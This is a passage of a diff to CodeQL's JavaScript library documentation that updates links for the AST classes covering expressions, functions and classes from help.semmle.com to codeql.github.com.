<https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PropAccess.html>`__: a property access, that is, either a "dot" expression of the form ``e.f`` or an index expression of the form ``e[p]``; use ``PropAccess.getBase()`` to obtain the base expression on which the property is accessed (``e`` in the example), and ``PropAccess.getPropertyName()`` to determine the name of the accessed property; if the name cannot be statically determined, ``getPropertyName()`` does not return any value. + - `PropAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PropAccess.html>`__: a property access, that is, either a "dot" expression of the form ``e.f`` or an index expression of the form ``e[p]``; use ``PropAccess.getBase()`` to obtain the base expression on which the property is accessed (``e`` in the example), and ``PropAccess.getPropertyName()`` to determine the name of the accessed property; if the name cannot be statically determined, ``getPropertyName()`` does not return any value. - - `DotExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$DotExpr.html>`__: a "dot" expression. - - `IndexExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$IndexExpr.html>`__: an index expression (also known as computed property access). + - `DotExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$DotExpr.html>`__: a "dot" expression. + - `IndexExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$IndexExpr.html>`__: an index expression (also known as computed property access). - - `UnaryExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$UnaryExpr.html>`__: a unary expression; use ``UnaryExpr.getOperand()`` to obtain the operand expression. + - `UnaryExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$UnaryExpr.html>`__: a unary expression; use ``UnaryExpr.getOperand()`` to obtain the operand expression. - - `NegExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$NegExpr.html>`__ ("-"), `PlusExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PlusExpr.html>`__ ("+"), `LogNotExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$LogNotExpr.html>`__ ("!"), `BitNotExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$BitNotExpr.html>`__ ("~"), `TypeofExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$TypeofExpr.html>`__, `VoidExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$VoidExpr.html>`__, `DeleteExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$DeleteExpr.html>`__, `SpreadElement <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$SpreadElement.html>`__ ("..."): various types of unary expressions. + - `NegExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$NegExpr.html>`__ ("-"), `PlusExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PlusExpr.html>`__ ("+"), `LogNotExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$LogNotExpr.html>`__ ("!"), `BitNotExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$BitNotExpr.html>`__ ("~"), `TypeofExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$TypeofExpr.html>`__, `VoidExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$VoidExpr.html>`__, `DeleteExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$DeleteExpr.html>`__, `SpreadElement <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$SpreadElement.html>`__ ("..."): various types of unary expressions. - - `BinaryExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$BinaryExpr.html>`__: a binary expression; use ``BinaryExpr.getLeftOperand()`` and ``BinaryExpr.getRightOperand()`` to access the operand expressions. + - `BinaryExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$BinaryExpr.html>`__: a binary expression; use ``BinaryExpr.getLeftOperand()`` and ``BinaryExpr.getRightOperand()`` to access the operand expressions. - - `Comparison <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Comparison.html>`__: any comparison expression. + - `Comparison <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Comparison.html>`__: any comparison expression. - - `EqualityTest <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$EqualityTest.html>`__: any equality or inequality test. + - `EqualityTest <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$EqualityTest.html>`__: any equality or inequality test. - - `EqExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$EqExpr.html>`__ ("=="), `NEqExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$NEqExpr.html>`__ ("!="): non-strict equality and inequality tests. - - `StrictEqExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$StrictEqExpr.html>`__ ("==="), `StrictNEqExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$StrictNEqExpr.html>`__ ("!=="): strict equality and inequality tests. + - `EqExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$EqExpr.html>`__ ("=="), `NEqExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$NEqExpr.html>`__ ("!="): non-strict equality and inequality tests. + - `StrictEqExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$StrictEqExpr.html>`__ ("==="), `StrictNEqExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$StrictNEqExpr.html>`__ ("!=="): strict equality and inequality tests. - - `LTExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$LTExpr.html>`__ ("<"), `LEExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$LEExpr.html>`__ ("<="), `GTExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$GTExpr.html>`__ (">"), `GEExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$GEExpr.html>`__ (">="): numeric comparisons. + - `LTExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$LTExpr.html>`__ ("<"), `LEExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$LEExpr.html>`__ ("<="), `GTExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$GTExpr.html>`__ (">"), `GEExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$GEExpr.html>`__ (">="): numeric comparisons. - - `LShiftExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$LShiftExpr.html>`__ ("<<"), `RShiftExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$RShiftExpr.html>`__ (">>"), `URShiftExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$URShiftExpr.html>`__ (">>>"): shift operators. - - `AddExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AddExpr.html>`__ ("+"), `SubExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$SubExpr.html>`__ ("-"), `MulExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$MulExpr.html>`__ ("*"), `DivExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$DivExpr.html>`__ ("/"), `ModExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ModExpr.html>`__ ("%"), `ExpExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ExpExpr.html>`__ ("**"): arithmetic operators. - - `BitOrExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$BitOrExpr.html>`__ ("|"), `XOrExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$XOrExpr.html>`__ ("^"), `BitAndExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$BitAndExpr.html>`__ ("&"): bitwise operators. - - `InExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$InExpr.html>`__: an ``in`` test. - - `InstanceofExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$InstanceofExpr.html>`__: an ``instanceof`` test. - - `LogAndExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$LogAndExpr.html>`__ ("&&"), `LogOrExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$LogOrExpr.html>`__ ("||"): short-circuiting logical operators. + - `LShiftExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$LShiftExpr.html>`__ ("<<"), `RShiftExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$RShiftExpr.html>`__ (">>"), `URShiftExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$URShiftExpr.html>`__ (">>>"): shift operators. + - `AddExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AddExpr.html>`__ ("+"), `SubExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$SubExpr.html>`__ ("-"), `MulExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$MulExpr.html>`__ ("*"), `DivExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$DivExpr.html>`__ ("/"), `ModExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ModExpr.html>`__ ("%"), `ExpExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ExpExpr.html>`__ ("**"): arithmetic operators. + - `BitOrExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$BitOrExpr.html>`__ ("|"), `XOrExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$XOrExpr.html>`__ ("^"), `BitAndExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$BitAndExpr.html>`__ ("&"): bitwise operators. + - `InExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$InExpr.html>`__: an ``in`` test. + - `InstanceofExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$InstanceofExpr.html>`__: an ``instanceof`` test. + - `LogAndExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$LogAndExpr.html>`__ ("&&"), `LogOrExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$LogOrExpr.html>`__ ("||"): short-circuiting logical operators. - - `Assignment <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Assignment.html>`__: assignment expressions, either simple or compound; use ``Assignment.getLhs()`` and ``Assignment.getRhs()`` to access the left- and right-hand side, respectively. + - `Assignment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Assignment.html>`__: assignment expressions, either simple or compound; use ``Assignment.getLhs()`` and ``Assignment.getRhs()`` to access the left- and right-hand side, respectively. - - `AssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignExpr.html>`__: a simple assignment expression. - - `CompoundAssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html>`__: a compound assignment expression. + - `AssignExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignExpr.html>`__: a simple assignment expression. + - `CompoundAssignExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html>`__: a compound assignment expression. - - `AssignAddExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignAddExpr.html>`__, `AssignSubExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignSubExpr.html>`__, `AssignMulExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignMulExpr.html>`__, `AssignDivExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignDivExpr.html>`__, `AssignModExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignModExpr.html>`__, `AssignLShiftExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignLShiftExpr.html>`__, `AssignRShiftExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignRShiftExpr.html>`__, - `AssignURShiftExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignURShiftExpr.html>`__, `AssignOrExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignOrExpr.html>`__, `AssignXOrExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignXOrExpr.html>`__, `AssignAndExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignAndExpr.html>`__, `AssignExpExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignExpExpr.html>`__: different kinds of compound assignment expressions. + - `AssignAddExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignAddExpr.html>`__, `AssignSubExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignSubExpr.html>`__, `AssignMulExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignMulExpr.html>`__, `AssignDivExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignDivExpr.html>`__, `AssignModExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignModExpr.html>`__, `AssignLShiftExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignLShiftExpr.html>`__, `AssignRShiftExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignRShiftExpr.html>`__, + `AssignURShiftExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignURShiftExpr.html>`__, `AssignOrExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignOrExpr.html>`__, `AssignXOrExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignXOrExpr.html>`__, `AssignAndExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignAndExpr.html>`__, `AssignExpExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignExpExpr.html>`__: different kinds of compound assignment expressions. - - `UpdateExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$UpdateExpr.html>`__: an increment or decrement expression; use ``UpdateExpr.getOperand()`` to obtain the operand expression. + - `UpdateExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$UpdateExpr.html>`__: an increment or decrement expression; use ``UpdateExpr.getOperand()`` to obtain the operand expression. - - `PreIncExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PreIncExpr.html>`__, `PostIncExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PostIncExpr.html>`__: an increment expression. - - `PreDecExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PreDecExpr.html>`__, `PostDecExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PostDecExpr.html>`__: a decrement expression. + - `PreIncExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PreIncExpr.html>`__, `PostIncExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PostIncExpr.html>`__: an increment expression. + - `PreDecExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PreDecExpr.html>`__, `PostDecExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PostDecExpr.html>`__: a decrement expression. - - `YieldExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$YieldExpr.html>`__: a "yield" expression; use ``YieldExpr.getOperand()`` to access the (optional) operand expression; use ``YieldExpr.isDelegating()`` to check whether this is a delegating ``yield*``. - - `TemplateLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Templates.qll/type.Templates$TemplateLiteral.html>`__: an ECMAScript 2015 template literal; ``TemplateLiteral.getElement(i)`` returns the ``i``\ th element of the template, which may either be an interpolated expression or a constant template element. - - `TaggedTemplateExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Templates.qll/type.Templates$TaggedTemplateExpr.html>`__: an ECMAScript 2015 tagged template literal; use ``TaggedTemplateExpr.getTag()`` to access the tagging expression, and ``TaggedTemplateExpr.getTemplate()`` to access the template literal being tagged. - - `TemplateElement <https://help.semmle.com/qldoc/javascript/semmle/javascript/Templates.qll/type.Templates$TemplateElement.html>`__: a constant template element; as for literals, use ``TemplateElement.getValue()`` to obtain the value of the element, and ``TemplateElement.getRawValue()`` for its raw value - - `AwaitExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AwaitExpr.html>`__: an "await" expression; use ``AwaitExpr.getOperand()`` to access the operand expression. + - `YieldExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$YieldExpr.html>`__: a "yield" expression; use ``YieldExpr.getOperand()`` to access the (optional) operand expression; use ``YieldExpr.isDelegating()`` to check whether this is a delegating ``yield*``. + - `TemplateLiteral <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Templates.qll/type.Templates$TemplateLiteral.html>`__: an ECMAScript 2015 template literal; ``TemplateLiteral.getElement(i)`` returns the ``i``\ th element of the template, which may either be an interpolated expression or a constant template element. + - `TaggedTemplateExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Templates.qll/type.Templates$TaggedTemplateExpr.html>`__: an ECMAScript 2015 tagged template literal; use ``TaggedTemplateExpr.getTag()`` to access the tagging expression, and ``TaggedTemplateExpr.getTemplate()`` to access the template literal being tagged. + - `TemplateElement <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Templates.qll/type.Templates$TemplateElement.html>`__: a constant template element; as for literals, use ``TemplateElement.getValue()`` to obtain the value of the element, and ``TemplateElement.getRawValue()`` for its raw value + - `AwaitExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AwaitExpr.html>`__: an "await" expression; use ``AwaitExpr.getOperand()`` to access the operand expression. -`Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ and `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ share a common superclass `ExprOrStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$ExprOrStmt.html>`__ which is useful for queries that should operate either on statements or on expressions, but not on any other AST nodes. +`Stmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ and `Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ share a common superclass `ExprOrStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$ExprOrStmt.html>`__ which is useful for queries that should operate either on statements or on expressions, but not on any other AST nodes. As an example of how to use expression AST nodes, here is a query that finds expressions of the form ``e + f >> g``; such expressions should be rewritten as ``(e + f) >> g`` to clarify operator precedence: @@ -356,12 +356,12 @@ As an example of how to use expression AST nodes, here is a query that finds exp Functions ^^^^^^^^^ -JavaScript provides several ways of defining functions: in ECMAScript 5, there are function declaration statements and function expressions, and ECMAScript 2015 adds arrow function expressions. These different syntactic forms are represented by the classes `FunctionDeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$FunctionDeclStmt.html>`__ (a subclass of `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__), `FunctionExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$FunctionExpr.html>`__ (a subclass of `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__) and `ArrowFunctionExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ArrowFunctionExpr.html>`__ (also a subclass of -`Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__), respectively. All three are subclasses of `Function <https://help.semmle.com/qldoc/javascript/semmle/javascript/Functions.qll/type.Functions$Function.html>`__, which provides common member predicates for accessing function parameters or the function body: +JavaScript provides several ways of defining functions: in ECMAScript 5, there are function declaration statements and function expressions, and ECMAScript 2015 adds arrow function expressions. These different syntactic forms are represented by the classes `FunctionDeclStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$FunctionDeclStmt.html>`__ (a subclass of `Stmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__), `FunctionExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$FunctionExpr.html>`__ (a subclass of `Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__) and `ArrowFunctionExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ArrowFunctionExpr.html>`__ (also a subclass of +`Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__), respectively. All three are subclasses of `Function <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Functions.qll/type.Functions$Function.html>`__, which provides common member predicates for accessing function parameters or the function body: -- ``Function.getId()`` returns the `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ naming the function, which may not be defined for function expressions. -- ``Function.getParameter(i)`` and ``Function.getAParameter()`` access the ``i``\ th parameter or any parameter, respectively; parameters are modeled by the class `Parameter <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Parameter.html>`__, which is a subclass of `BindingPattern <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$BindingPattern.html>`__ (see below). -- ``Function.getBody()`` returns the body of the function, which is usually a `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__, but may be an `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ for arrow function expressions and legacy `expression closures <https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Expression_closures>`__. +- ``Function.getId()`` returns the `Identifier <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ naming the function, which may not be defined for function expressions. +- ``Function.getParameter(i)`` and ``Function.getAParameter()`` access the ``i``\ th parameter or any parameter, respectively; parameters are modeled by the class `Parameter <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Parameter.html>`__, which is a subclass of `BindingPattern <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$BindingPattern.html>`__ (see below). +- ``Function.getBody()`` returns the body of the function, which is usually a `Stmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__, but may be an `Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ for arrow function expressions and legacy `expression closures <https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Expression_closures>`__. As an example, here is a query that finds all expression closures: @@ -393,10 +393,10 @@ As another example, this query finds functions that have two parameters that bin Classes ^^^^^^^ -Classes can be defined either by class declaration statements, represented by the CodeQL class `ClassDeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$ClassDeclStmt.html>`__ (which is a subclass of `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__), or by class expressions, represented by the CodeQL class `ClassExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$ClassExpr.html>`__ (which is a subclass of `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__). Both of these classes are also subclasses of `ClassDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$ClassDefinition.html>`__, which provides common member predicates for accessing the name of a class, its superclass, and its body: +Classes can be defined either by class declaration statements, represented by the CodeQL class `ClassDeclStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$ClassDeclStmt.html>`__ (which is a subclass of `Stmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__), or by class expressions, represented by the CodeQL class `ClassExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$ClassExpr.html>`__ (which is a subclass of `Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__). Both of these classes are also subclasses of `ClassDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$ClassDefinition.html>`__, which provides common member predicates for accessing the name of a class, its superclass, and its body: -- ``ClassDefinition.getIdentifier()`` returns the `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ naming the function, which may not be defined for class expressions. -- ``ClassDefinition.getSuperClass()`` returns the `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ specifying the superclass, which may not be defined. +- ``ClassDefinition.getIdentifier()`` returns the `Identifier <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ naming the function, which may not be defined for class expressions. +- ``ClassDefinition.getSuperClass()`` returns the `Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ specifying the superclass, which may not be defined. - ``ClassDefinition.getMember(n)`` returns the definition of member ``n`` of this class. - ``ClassDefinition.getMethod(n)`` restricts ``ClassDefinition.getMember(n)`` to methods (as opposed to fields). - ``ClassDefinition.getField(n)`` restricts ``ClassDefinition.getMember(n)`` to fields (as opposed to methods). @@ -404,30 +404,30 @@ Classes can be defined either by class declaration statements, represented by th Note that class fields are not a standard language feature yet, so details of their representation may change. -Method definitions are represented by the class `MethodDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$MethodDefinition.html>`__, which (like its counterpart `FieldDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$FieldDefinition.html>`__ for fields) is a subclass of `MemberDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$MemberDefinition.html>`__. That class provides the following important member predicates: +Method definitions are represented by the class `MethodDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$MethodDefinition.html>`__, which (like its counterpart `FieldDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$FieldDefinition.html>`__ for fields) is a subclass of `MemberDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$MemberDefinition.html>`__. That class provides the following important member predicates: - ``MemberDefinition.isStatic()``: holds if this is a static member. - ``MemberDefinition.isComputed()``: holds if the name of this member is computed at 